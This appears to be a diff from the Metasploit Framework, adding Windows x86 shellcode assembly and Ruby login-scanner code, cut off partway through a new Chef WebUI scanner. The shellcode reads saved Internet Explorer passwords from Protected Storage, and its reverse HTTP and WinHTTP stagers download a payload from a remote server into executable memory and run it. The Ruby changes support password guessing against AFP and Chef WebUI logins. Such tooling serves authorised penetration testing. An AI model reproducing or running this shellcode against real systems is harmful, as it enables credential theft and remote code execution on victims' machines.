push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "pstorec" )
|
||||
; this should leave a handle to the pstorec
|
||||
; DLL-Module in eax
|
||||
|
||||
pop edx ; remove 'pstorec' string from stack
|
||||
pop edx
|
||||
|
||||
PStoreCreateInstance_PStore:
|
||||
; returns address to PStore in pPStore
|
||||
pop edi ; pop pPstore
|
||||
push edi ; restore stack
|
||||
;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push edi ; arg4: pPstore
|
||||
push 0x2664BDDB ; hash ( "pstorec.dll", "PStoreCreateInstance" )
|
||||
call ebp ; PstoreCreateInstance(address, 0, 0, 0)
|
||||
;
|
||||
PStore.EnumTypes: ; returns address to EnumPStoreTypes in pEnumPStoreTypes
|
||||
pop eax ; pop pPstore
|
||||
pop edx ; pop pEnumPstoreTypes
|
||||
push edx ; restore stack
|
||||
push eax ;
|
||||
;
|
||||
push edx ; arg1: pEnumPstoreTypes
|
||||
push 0 ; arg2: NULL
|
||||
push 0 ; arg3: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base address of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::EnumTypes in pstorec.dll
|
||||
mov edx, [edx+0x38] ; &EnumTypes() = *(*(&PStore)+0x38)
|
||||
call edx ; call IPStore::EnumTypes
|
||||
mov edi, 0x5e7e8100 ; Value of pTypeGUID if Password is IE:Password-Protected
|
||||
;
|
||||
EnumPStoreTypes.raw_Next:
|
||||
pop eax ; pop pPStore
|
||||
pop edx ; pop pEnumPStoreTypes
|
||||
pop ecx ; pop pTypeGUID
|
||||
push ecx ; restore stack
|
||||
push edx ;
|
||||
push eax ;
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push ecx ; arg2: pTypeGUID
|
||||
push 1 ; arg3: 1
|
||||
mov edx, [edx] ; load base address of EnumPStoreTypes
|
||||
push edx ; push base address of EnumPStoreTypes (this)
|
||||
mov edx, [edx] ; get function address of EnumPStoreTypes::raw_Next in pstorec.dll
|
||||
mov edx, [edx+0x0C] ; &RawNext = *(*(*(&EnumPStoreTypes))+0x0C)
|
||||
call edx ; call EnumPStoreTypes::raw_Next
|
||||
;
|
||||
mov eax, [esp+8] ;
|
||||
mov eax, [eax] ;
|
||||
;
|
||||
test eax, eax ;
|
||||
jz no_auth ; no Password found
|
||||
cmp edi, eax ; do this until TypeGUID indicates "IE Password Protected sites"
|
||||
jne EnumPStoreTypes.raw_Next
|
||||
;
|
||||
PStore.EnumSubtypes: ; returns address to EnumSubtypes () in pEnumSubtypes ()
|
||||
pop eax ; pop pPstore
|
||||
pop edx ; pop pEnumPstoreTypes
|
||||
pop ecx ; pop pTypeGUID
|
||||
pop edi ; pop pEnumSubtypes
|
||||
push edi ; restore stack
|
||||
push ecx ;
|
||||
push edx ;
|
||||
push eax ;
|
||||
;
|
||||
push edi ; arg1: pEnumSubtypes
|
||||
push 0 ; arg2: NULL
|
||||
push ecx ; arg3: pTypeGUID
|
||||
push 0 ; arg4: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base address of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::EnumSubtypes in pstorec.dll
|
||||
mov edx, [edx+0x3C] ; &Pstore.EnumSubTypes() = *(*(*(&PStore))+0x3C)
|
||||
call edx ; call IPStore::EnumSubtypes
|
||||
;
|
||||
EnumSubtypes.raw_Next:
|
||||
mov eax, [esp+0x0C] ; pop pEnumSubtypes
|
||||
mov edx, [esp+0x10] ; pop psubTypeGUID
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push edx ; arg2: psubTypeGUID
|
||||
push 1 ; arg3: 1
|
||||
mov eax, [eax] ; load base address of EnumSubtypes in eax
|
||||
push eax ; push base address of EnumSubtypes (this)
|
||||
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
|
||||
mov edx, [edx+0x0C] ; &(EnumSubtypes.raw_Next) = *(*(&EnumSubtypes)+0x0C)
|
||||
call edx ; call EnumSubtypes.raw_Next
|
||||
;
|
||||
PStore.EnumItems:
|
||||
pop eax ; pop pPstore
|
||||
pop ecx ;
|
||||
pop edx ; pop pTypeGUID
|
||||
push edx ; restore stack
|
||||
push ecx ;
|
||||
push eax ;
|
||||
mov ecx, [esp+0x10] ; pop psubTypeGUID
|
||||
mov edi, [esp+0x14] ; pop pspEnumItems
|
||||
;
|
||||
push edi ; arg1: pspEnumItems
|
||||
push 0 ; arg2: NULL
|
||||
push ecx ; arg3: psubTypeGUID
|
||||
push edx ; arg4: pTyoeGUID
|
||||
push 0 ; arg5: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base address of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::Enumitems in pstorec.dll
|
||||
mov edx, [edx+0x54] ;
|
||||
call edx ; call IPStore::Enumitems
|
||||
;
|
||||
spEnumItems.raw_Next:
|
||||
mov eax, [esp+0x14] ; pop pspEnumItems
|
||||
mov ecx, [esp+0x18] ; pop pitemName
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push ecx ; arg2: pitemName
|
||||
push 1 ; arg3: 1
|
||||
mov eax, [eax] ; load base address of spEnumItems in eax
|
||||
push eax ; push base addres of spEnumItems (this)
|
||||
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
|
||||
mov edx, [edx+0x0C] ;
|
||||
call edx ;
|
||||
;
|
||||
PStore.ReadItem:
|
||||
pop eax ; pop pPStore
|
||||
push eax ;
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push 0 ; arg2: NULL (stiinfo not needed)
|
||||
mov ecx, [esp+0x24] ; pop ppsData (8. Element)
|
||||
push ecx ; arg3: ppsData
|
||||
mov ecx, [esp+0x2C] ; pop ppsDataLen
|
||||
push ecx ; arg4: ppsDataLen (not needed?)
|
||||
mov ecx, [esp+0x28] ; pop pitemName (7. Element)
|
||||
mov ecx, [ecx] ;
|
||||
push ecx ; arg5: pitemName
|
||||
mov ecx, [esp+0x24] ; pop psubTypeGUID (5. Element)
|
||||
push ecx ; arg6: psubTypeGUID
|
||||
mov ecx, [esp+0x20] ; pop pTypeGUID (3. Element)
|
||||
push ecx ; arg7: pTypeGUID
|
||||
push 0 ; arg8: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base addres of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::ReadItem in pstorec.dll
|
||||
mov edx, [edx+0x44] ;
|
||||
call edx ;
|
||||
;
|
||||
split_user_pass:
|
||||
mov eax, [esp+0x1C] ; eax = ppsData
|
||||
mov eax, [eax] ; now eax contains pointer to "user:pass"
|
||||
push eax ; push pointer to user
|
||||
mov cl, byte 0x3a ; load ":" in ecx
|
||||
mov dl, byte [eax] ; load first byte of ppsData in edx
|
||||
cmp cl, dl ;
|
||||
jz no_auth ;
|
||||
loop_split: ;
|
||||
inc eax ;
|
||||
mov dl, byte [eax] ;
|
||||
cmp cl, dl ;
|
||||
jnz loop_split ; increase eax until it points to ":"
|
||||
;
|
||||
mov [eax], byte 0x00 ; replace ":" with 00
|
||||
inc eax ;
|
||||
push eax ; push pointer to pass
|
||||
;
|
||||
no_auth:
|
||||
|
157
external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm
vendored
Normal file
157
external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm
vendored
Normal file
|
@ -0,0 +1,157 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: HD Moore
|
||||
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
|
||||
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Top and second top element of stack can be pointer to null-terminated
|
||||
; password and pointer to null-terminated username of a proxy server to connect to.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
load_wininet:
|
||||
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
||||
push 0x696e6977 ; ...
|
||||
push esp ; Push a pointer to the "wininet" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wininet" )
|
||||
|
||||
internetopen:
|
||||
xor edi,edi
|
||||
push edi ; DWORD dwFlags
|
||||
push edi ; LPCTSTR lpszProxyBypass
|
||||
push edi ; LPCTSTR lpszProxyName
|
||||
push edi ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push byte 0 ; NULL pointer
|
||||
push esp ; LPCTSTR lpszAgent ("\x00")
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
|
||||
jmp short dbl_get_server_host
|
||||
|
||||
internetconnect:
|
||||
pop ebx ; Save the hostname pointer
|
||||
xor edi, edi
|
||||
push edi ; DWORD_PTR dwContext (NULL)
|
||||
push edi ; dwFlags
|
||||
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||
push ecx ; password
|
||||
push edx ; username
|
||||
push dword 4444 ; PORT
|
||||
push ebx ; HOSTNAME
|
||||
push eax ; HINTERNET hInternet
|
||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||
call ebp
|
||||
|
||||
jmp get_server_uri
|
||||
|
||||
httpopenrequest:
|
||||
pop ecx
|
||||
xor edx, edx ; NULL
|
||||
push edx ; dwContext (NULL)
|
||||
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags
|
||||
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
;0x00000200 ; INTERNET_FLAG_NO_UI
|
||||
push edx ; accept types
|
||||
push edx ; referrer
|
||||
push edx ; version
|
||||
push ecx ; url
|
||||
push edx ; method
|
||||
push eax ; hConnection
|
||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
call ebp
|
||||
mov esi, eax ; hHttpRequest
|
||||
|
||||
set_retry:
|
||||
push byte 0x10
|
||||
pop ebx
|
||||
|
||||
httpsendrequest:
|
||||
xor edi, edi
|
||||
push edi ; optional length
|
||||
push edi ; optional
|
||||
push edi ; dwHeadersLength
|
||||
push edi ; headers
|
||||
push esi ; hHttpRequest
|
||||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz short allocate_memory
|
||||
|
||||
try_it_again:
|
||||
dec ebx
|
||||
jz failure
|
||||
jmp short httpsendrequest
|
||||
|
||||
dbl_get_server_host:
|
||||
jmp get_server_host
|
||||
|
||||
get_server_uri:
|
||||
call httpopenrequest
|
||||
|
||||
server_uri:
|
||||
db "/12345", 0x00
|
||||
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
|
||||
allocate_memory:
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (8Mb ought to do us)
|
||||
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; &bytesRead
|
||||
push 8192 ; read length
|
||||
push ebx ; buffer
|
||||
push esi ; hRequest
|
||||
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
|
||||
call ebp
|
||||
|
||||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
get_server_host:
|
||||
|
||||
;//////////////////////////////////
|
||||
;//get proxy credentials from stack
|
||||
;//////////////////////////////////
|
||||
get_proxy_auth:
|
||||
pop esi ; delete the top 3 stack elements as they are
|
||||
pop esi ; garbage from this block
|
||||
pop esi
|
||||
|
||||
pop ecx ; save pointer to password in ecx
|
||||
pop edx ; save pointer to username in edx
|
||||
;/////////////////////////////////////////////////
|
||||
; we use the credentials only in internetconnect//
|
||||
;/////////////////////////////////////////////////
|
||||
|
||||
call internetconnect
|
||||
|
||||
server_host:
|
||||
|
|
@ -0,0 +1,138 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Borja Merino (modification of the HD Moore HTTP stager based on WinINet)
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
%define u(x) __utf16__(x)
|
||||
%define HTTP_OPEN_FLAGS 0x00000100
|
||||
;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
load_winhttp:
|
||||
push 0x00707474 ; Push the string 'winhttp',0
|
||||
push 0x686E6977 ; ...
|
||||
push esp ; Push a pointer to the "winhttp" string
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "winhttp" )
|
||||
|
||||
set_retry:
|
||||
push byte 6 ; retry 6 times
|
||||
pop EDI
|
||||
xor ebx, ebx
|
||||
mov ecx, edi
|
||||
|
||||
push_zeros:
|
||||
push ebx ; NULL values for the WinHttpOpen API parameters
|
||||
loop push_zeros
|
||||
|
||||
WinHttpOpen:
|
||||
; Flags [5]
|
||||
; ProxyBypass (NULL) [4]
|
||||
; ProxyName (NULL) [3]
|
||||
; AccessType (DEFAULT_PROXY= 0) [2]
|
||||
; UserAgent (NULL) [1]
|
||||
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
|
||||
call ebp
|
||||
|
||||
WinHttpConnect:
|
||||
push ebx ; Reserved (NULL) [4]
|
||||
push dword 4444 ; Port [3]
|
||||
call got_server_uri ; Double call to get pointer for both server_uri and
|
||||
server_uri: ; server_host; server_uri is saved in EDI for later
|
||||
dw u('/12345'), 0
|
||||
got_server_host:
|
||||
push eax ; Session handle returned by WinHttpOpen [1]
|
||||
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
|
||||
call ebp
|
||||
|
||||
WinHttpOpenRequest:
|
||||
|
||||
push HTTP_OPEN_FLAGS ; Flags [7]
|
||||
push ebx ; AcceptTypes (NULL) [6]
|
||||
push ebx ; Referrer (NULL) [5]
|
||||
push ebx ; Version (NULL) [4]
|
||||
push edi ; ObjectName (URI) [3]
|
||||
push ebx ; Verb (GET method) (NULL) [2]
|
||||
push eax ; Connect handler returned by WinHttpConnect [1]
|
||||
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
|
||||
call ebp
|
||||
xchg esi, eax ; save HttpRequest handler in esi
|
||||
|
||||
send_request:
|
||||
|
||||
WinHttpSendRequest:
|
||||
push ebx ; Context [7]
|
||||
push ebx ; TotalLength [6]
|
||||
push ebx ; OptionalLength (0) [5]
|
||||
push ebx ; Optional (NULL) [4]
|
||||
push ebx ; HeadersLength (0) [3]
|
||||
push ebx ; Headers (NULL) [2]
|
||||
push esi ; HttpRequest handler returned by WinHttpOpenRequest [1]
|
||||
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz short receive_response ; if TRUE call WinHttpReceiveResponse API
|
||||
|
||||
try_it_again:
|
||||
dec edi
|
||||
jnz send_request
|
||||
|
||||
; if we didn't allocate before running out of retries, fall through to
|
||||
; failure
|
||||
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
|
||||
receive_response:
|
||||
; The API WinHttpReceiveResponse needs to be called
|
||||
; first to get a valid handler for WinHttpReadData
|
||||
push ebx ; Reserved (NULL) [2]
|
||||
push esi ; Request handler returned by WinHttpSendRequest [1]
|
||||
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jz failure
|
||||
|
||||
allocate_memory:
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; NumberOfBytesRead (bytesRead)
|
||||
push 8192 ; NumberOfBytesToRead
|
||||
push ebx ; Buffer
|
||||
push esi ; Request handler returned by WinHttpReceiveResponse
|
||||
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
|
||||
call ebp
|
||||
|
||||
test eax,eax ; if download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
got_server_uri:
|
||||
pop edi
|
||||
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
|
||||
|
||||
server_host:
|
18
external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm
vendored
Normal file
18
external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm
vendored
Normal file
|
@ -0,0 +1,18 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Unknown
|
||||
; Compatible: Windows Server 2003, IE Versions 4 to 6
|
||||
; Build: >build.py stager_reverse_http_proxy_pstore
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_get_pstore_creds.asm"
|
||||
%include "./src/block/block_reverse_http_use_proxy_creds.asm"
|
||||
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Borja Merino (bmerinofe[at]gmail.com). [WinHttp stager (Http)]
|
||||
; Version: 1.0 (January 2015)
|
||||
; Size: 323 bytes
|
||||
; Build: >build.py stager_reverse_winhttp_http
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_reverse_winhttp_http.asm"
|
||||
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
|
||||
|
|
@ -36,6 +36,7 @@ Feature: Help command
|
|||
pushm Pushes the active or list of modules onto the module stack
|
||||
quit Exit the console
|
||||
reload_all Reloads all modules from all defined module paths
|
||||
rename_job Rename a job
|
||||
resource Run the commands stored in a file
|
||||
route Route traffic through a session
|
||||
save Saves the active datastores
|
||||
|
|
|
@ -77,8 +77,7 @@ module Metasploit
|
|||
begin
|
||||
response = sock.timed_read(1024, self.login_timeout)
|
||||
rescue Timeout::Error
|
||||
#vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
|
@ -88,7 +87,6 @@ module Metasploit
|
|||
return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma,
|
||||
:password => pass, :user => user})
|
||||
when -5023 #kFPUserNotAuth (User dosen't exists)
|
||||
#print_status("AFP #{rhost}:#{rport} User #{user} dosen't exists")
|
||||
return :skip_user
|
||||
else
|
||||
return :connection_error
|
||||
|
@ -123,8 +121,7 @@ module Metasploit
|
|||
begin
|
||||
response = sock.timed_read(1024, self.login_timeout)
|
||||
rescue Timeout::Error
|
||||
vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
|
@ -180,8 +177,7 @@ module Metasploit
|
|||
begin
|
||||
response = sock.timed_read(1024, self.login_timeout)
|
||||
rescue Timeout::Error
|
||||
vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
|
@ -201,7 +197,7 @@ module Metasploit
|
|||
parsed_data = {}
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
raise "AFP #{rhost}:#{rport} Server response with error" if error_code != 0
|
||||
raise RuntimeError, "AFP Server response with error" if error_code != 0
|
||||
body = get_body(response, length)
|
||||
machine_type_offset, afp_versions_offset, uam_count_offset, icon_offset, server_flags =
|
||||
body.unpack('nnnnn')
|
||||
|
@ -243,7 +239,7 @@ module Metasploit
|
|||
|
||||
def get_body(packet, body_length)
|
||||
body = packet[16..body_length + 15]
|
||||
raise "AFP #{rhost}:#{rport} Invalid body length" if body.length != body_length
|
||||
raise RuntimeError, "AFP Invalid body length" if body.length != body_length
|
||||
return body
|
||||
end
|
||||
|
||||
|
@ -291,7 +287,7 @@ module Metasploit
|
|||
when 7 # IPv6 address (16 bytes) followed by a two-byte port number
|
||||
parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]:#{address[17..18].unpack("n").first}"
|
||||
else # Something wrong?
|
||||
raise "Error parsing network addresses"
|
||||
raise RuntimeError, "Error parsing network addresses"
|
||||
end
|
||||
end
|
||||
return parsed_addreses
|
||||
|
|
|
@ -51,7 +51,7 @@ module Metasploit
|
|||
# These values should be #demodularized from subclasses of
|
||||
# `Metasploit::Credential::Private`
|
||||
validates :private_type,
|
||||
inclusion: { in: [ :password, :ntlm_hash, :ssh_key ] },
|
||||
inclusion: { in: [ :password, :ntlm_hash, :postgres_md5, :ssh_key ] },
|
||||
if: "private_type.present?"
|
||||
|
||||
# If we have no private we MUST have a public
|
||||
|
|
|
@ -79,7 +79,7 @@ class Metasploit::Framework::CredentialCollection
|
|||
# Adds a string as an addition private credential
|
||||
# to be combined in the collection.
|
||||
#
|
||||
# @param [String] :private_str the string to use as a private
|
||||
# @param [String] private_str the string to use as a private
|
||||
# @return [void]
|
||||
def add_private(private_str='')
|
||||
additional_privates << private_str
|
||||
|
@ -88,7 +88,7 @@ class Metasploit::Framework::CredentialCollection
|
|||
# Adds a string as an addition public credential
|
||||
# to be combined in the collection.
|
||||
#
|
||||
# @param [String] :public_str the string to use as a public
|
||||
# @param [String] public_str the string to use as a public
|
||||
# @return [void]
|
||||
def add_public(public_str='')
|
||||
additional_publics << public_str
|
||||
|
@ -210,6 +210,8 @@ class Metasploit::Framework::CredentialCollection
|
|||
def private_type(private)
|
||||
if private =~ /[0-9a-f]{32}:[0-9a-f]{32}/
|
||||
:ntlm_hash
|
||||
elsif private =~ /^md5([a-f0-9]{32})$/
|
||||
:postgres_md5
|
||||
else
|
||||
:password
|
||||
end
|
||||
|
|
|
@ -31,7 +31,12 @@ module Metasploit
|
|||
rescue Rex::ConnectionError, EOFError, Timeout::Error
|
||||
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
else
|
||||
begin
|
||||
success = login(credential.public, credential.private)
|
||||
rescue RuntimeError => e
|
||||
return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => e.message}
|
||||
end
|
||||
|
||||
status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
|
||||
|
|
|
@ -17,10 +17,10 @@ module Metasploit
|
|||
# (see Base#attempt_login)
|
||||
def attempt_login(credential)
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {}, ssl, ssl_version, proxies
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
)
|
||||
|
||||
http_client = config_client(http_client)
|
||||
configure_http_client(http_client)
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
|
|
|
@ -34,7 +34,8 @@ module Metasploit
|
|||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi({
|
||||
'method'=>'POST',
|
||||
|
|
|
@ -0,0 +1,151 @@
|
|||
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# The ChefWebUI HTTP LoginScanner class provides methods to authenticate to Chef WebUI
|
||||
class ChefWebUI < HTTP
|
||||
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# @!attribute session_name
|
||||
# @return [String] Cookie name for session_id
|
||||
attr_accessor :session_name
|
||||
|
||||
# @!attribute session_id
|
||||
# @return [String] Cookie value
|
||||
attr_accessor :session_id
|
||||
|
||||
# Decides which login routine and returns the results
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result]
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
begin
|
||||
status = try_login(credential)
|
||||
result_opts.merge!(status)
|
||||
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
begin
|
||||
res = send_request({'uri' => normalize_uri('/users/login')})
|
||||
return "Connection failed" if res.nil?
|
||||
|
||||
if res.code != 200
|
||||
return "Unexpected HTTP response code #{res.code} (is this really Chef WebUI?)"
|
||||
end
|
||||
|
||||
if res.body.to_s !~ /<title>Chef Server<\/title>/
|
||||
return "Unexpected HTTP body (is this really Chef WebUI?)"
|
||||
end
|
||||
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
return "Unable to connect to target"
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
res = cli.send_recv(req)
|
||||
|
||||
# Save the session ID cookie
|
||||
if res && res.get_cookies =~ /(_\w+_session)=([^;$]+)/i
|
||||
self.session_name = $1
|
||||
self.session_id = $2
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Sends a login request
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Rex::Proto::Http::Response] The HTTP auth response
|
||||
def try_credential(csrf_token, credential)
|
||||
|
||||
data = "utf8=%E2%9C%93" # ✓
|
||||
